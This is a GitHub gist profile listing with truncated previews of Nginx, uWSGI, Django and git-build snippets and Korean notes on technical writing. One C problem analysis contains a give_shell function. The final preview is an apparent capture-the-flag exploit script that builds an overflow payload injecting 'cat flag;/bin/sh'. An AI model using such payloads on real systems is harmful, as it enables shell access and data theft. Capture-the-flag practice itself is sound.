Skip to content

Instantly share code, notes, and snippets.

View myeonggyunhan's full-sized avatar
🎯
Focusing

Myeonggyun Han myeonggyunhan

🎯
Focusing
View GitHub Profile
@myeonggyunhan
myeonggyunhan / dev.conf
Created May 26, 2018 13:12 — forked from fnando/dev.conf
Nginx configuration for SSH tunnel
upstream tunnel {
server 127.0.0.1:3000;
}
server {
listen 80;
server_name dev.codeplane.com br.dev.codeplane.com;
location / {
proxy_set_header X-Real-IP $remote_addr;
#!/bin/bash
if [ $# -ne 1 ]; then
echo "USAGE: $0 <Directory Path>"
exit
fi
TARGET_DIR=$1
cd "$TARGET_DIR"
for file in *; do
@myeonggyunhan
myeonggyunhan / 기술 문서를 쓸 때 주의해야 할 몇 가지.md
Created February 9, 2017 05:50 — forked from 9beach/기술 문서를 쓸 때 주의해야 할 몇 가지.md
기술 문서를 쓸 때 주의해야 할 몇 가지를 나열합니다.

기술 문서를 쓸 때 주의해야 할 몇 가지

텍스트 파일의 장점

자신이 하는 일이 소모적인 일회성의 일이 아니라고 여긴다면 위키에 글을 작성해서 보편적인 방식으로 공유하라. 글을 읽고 의문이 생기는 것에 대한 토론은 글 안에서 이루어지는 것이 좋다. 중요한 정보를 위키 혹은 RCS, 깃Git 등으로 관리되는 텍스트가 아닌, 워드, 파워포인트 등의 이진 문서로 작성해서 올릴 때마다 당신의 동료는 그 정보에 대한 접근성, 가시성, 버전 관리 문제로 고통을 겪을 것이다.

명징한 소재

잡다한 소재가 하나의 글에 다 들어가 있으면 재활용성, 접근성, 발전 가능성이 떨어진다. 자기완결적인 항목들로 페이지를 나눔으로써 정보로서의 가치가 더 커진다. 나중에 나눌 의향으로 일단 쓰고 보는 것은 환영한다. 고민 하면서 글쓰기를 미루는 것보다는 일단 쓰는 것이 중요하다.

@myeonggyunhan
myeonggyunhan / uwsgi.ini
Created February 9, 2017 04:46
uWSGI template for Django project
[uwsgi]
# Django project name
project-name = ProjectName
# Django project path
project-home = /path/to/project/ProjectName
# Base directory path
chdir = %(project-home)
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
fputs("\x1B[2J\x1B[H", stdout);
printf("\033[H\033[J");
system ("clear");
}
@myeonggyunhan
myeonggyunhan / build_git.sh
Last active August 30, 2017 06:37
Build git from source to use at uni06 server
# Make directory for git
mkdir ~/git
cd ~/git
# Download git source code
wget --no-check-certificate https://github.com/git/git/archive/v2.14.1.tar.gz
tar xvf v2.14.1
cd git-2.14.1
# Compile and install the git
@myeonggyunhan
myeonggyunhan / Django_translation.md
Last active August 18, 2016 10:17
Django translation 설정 방법

settings.py

from pathlib import Path

# Utilities
PROJECT_PACKAGE = Path(__file__).resolve().parent

# locale 미들웨어 추가. 순서도 중요함 밑 링크 참고
# https://docs.djangoproject.com/en/1.9/topics/i18n/translation/#how-django-discovers-language-preference
MIDDLEWARE_CLASSES = [

문제분석

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int secret = 0;

void give_shell()
{
@myeonggyunhan
myeonggyunhan / Django_AJAX.md
Last active March 11, 2022 03:36
Django AJAX 즐겨찾기 기능 예제

Template 에서 javascript

function favorite_handler(){
    var value = $('#favorite-btn').val();
    $.get('/favorite/'+value+'/', function (data) {
        if (data == "Add") {
            $('#favorite-btn').html('<i class="yellow star icon"></i> 즐겨찾기에 추가됨');
        }

        else if (data == "Delete") {
# exploit.py
# ./shock "`cat payload`"
from struct import pack
f = open("payload", "w")
null_addr=0xffffffffff600405
cmd="HACKED;cat flag;/bin/sh;#"
payload = cmd + "A"*(525-len(cmd))